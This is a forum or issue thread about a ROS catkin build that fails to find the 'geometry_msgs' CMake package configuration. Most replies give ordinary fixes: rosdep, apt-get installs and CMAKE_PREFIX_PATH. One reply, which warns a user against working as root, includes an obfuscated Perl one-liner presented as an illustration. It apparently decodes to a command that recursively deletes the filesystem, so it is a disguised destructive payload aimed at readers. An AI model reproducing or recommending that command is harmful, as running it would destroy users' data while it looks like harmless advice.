Build failed: geometry_msgs config file

[notenti]

I execute all the build steps, but when I run catkin build I get an error:

Could not find a package configuration file provided by "geometry_msgs" with any of the following names:

geometry_msgsConfig.cmake geometry_msgs-config.cmake

Anyone know the source of this error?

Did you run rosdep step? apt install ros-jade-geometry-msgs

[notenti]

It ended up being a really stupid CMAKE_PREFIX_PATH error. Somehow my paths got messed up and the CMAKE path was point to a folder in my system that didn't actually exist. Thank you though!

My question is similar with you, I would like to ask how you are resolved, the steps are, thank you.The problem is as follows。 CMake Warning at /root/ros_catkin_ws/devel/share/catkin/cmake/catkinConfig.cmake:76 (find_package): Could not find a package configuration file provided by "geometry_msgs" with any of the following names:

geometry_msgsConfig.cmake
geometry_msgs-config.cmake

Add the installation prefix of "geometry_msgs" to CMAKE_PREFIX_PATH or set "geometry_msgs_DIR" to a directory containing one of the above files. If "geometry_msgs" provides a separate development package or SDK, be sure it has been installed. Call Stack (most recent call first): rpg_svo/svo_msgs/CMakeLists.txt:5 (find_package)

@barnett88 How is your issue even related to mavros? It's failing on the SVO package.

Anyway, install ros--geometry-msgs to fix it.

@barnett88 do not work as root it is very very very bad idea!

To understand that:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 

rosdep should install geometry_msgs.

@notenti I've met the same problem with you, but I don't know how you do when you mean "CMAKE_PREFIX_PATH error", can you show more details?

[TSC21]

@HencyChen Try sudo apt-get install ros-kinetic-geometry-msgs. Make sure you follow the install guide correctly - https://github.com/mavlink/mavros/tree/master/mavros#installation.

Could you please teach me how to solve the problem? After I download the package, I still cannot solve the problem.
